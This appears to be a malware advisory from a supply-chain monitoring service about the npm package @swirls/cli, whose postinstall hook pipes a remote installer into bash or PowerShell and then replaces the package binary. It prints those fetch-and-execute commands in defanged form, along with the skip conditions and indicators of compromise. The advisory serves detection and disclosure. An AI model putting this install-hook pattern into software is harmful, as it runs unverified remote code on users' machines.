LWA-2026-13909 confirmed malware

@swirls/cli@0.1.148

Malicious code in @swirls/cli (npm)

T1195.002 · Compromise Software Supply ChainT1059 · Command and Scripting InterpreterT1059.004 · Unix ShellT1059.001 · PowerShellT1105 · Ingress Tool TransferT1036 · Masquerading

Analysis

@swirls/cli@0.1.148 ships no CLI implementation: the npm tarball contains only package.json, README.md, a 1.1KB placeholder bin/swirls stub, and scripts/install.js. The package's `postinstall` hook (`node scripts/install.js`) executes on every global install and fetches an unpinned remote installer outside the npm registry, piping it straight into a shell with the installer's full environment inherited: - Linux/macOS: execSync(`curl -fsSL hxxps://swirls[.]ai/install | bash`, { stdio: 'inherit', shell: true }) - Windows: powershell.exe -NoProfile -Command `irm hxxps://swirls[.]ai/install[.]ps1 | iex`, with SWIRLS_YES=1 set in the child environment The script skips execution when CI=true/1 or when neither npm_config_global nor BUN_INSTALL_GLOBAL is set. Nothing fetched is verified — no hash, signature or version pin is applied — so the code that actually runs at install time is whatever the remote endpoint serves at that moment. After the fetch-and-execute, the hook copies the downloaded binary from ~/.local/bin/swirls over bin/swirls and chmods it 0755, so every later `swirls` invocation runs the remote-downloaded file instead of the published package contents. The placeholder bin/swirls and bin/README.txt both direct the user to re-run the same `curl -fsSL hxxps://swirls[.]ai/install | bash` if the postinstall was skipped. The shipped JavaScript contains no credential, token, .env or .npmrc access; the only environment variables read are CI, npm_config_global, BUN_INSTALL_GLOBAL, HOME and USERPROFILE, used for install-flow control. IOCs: hxxps://swirls[.]ai/install ; hxxps://swirls[.]ai/install[.]ps1 ; dropped/copied file ~/.local/bin/swirls (installed mode 0755, then copied to node_modules/@swirls/cli/bin/swirls).

analyzed by
Leitwacht
first seen
Nov 11, 2026, 12:19 AM
analyzed
Nov 11, 2026, 12:21 AM
weekly installs
1,372

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Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.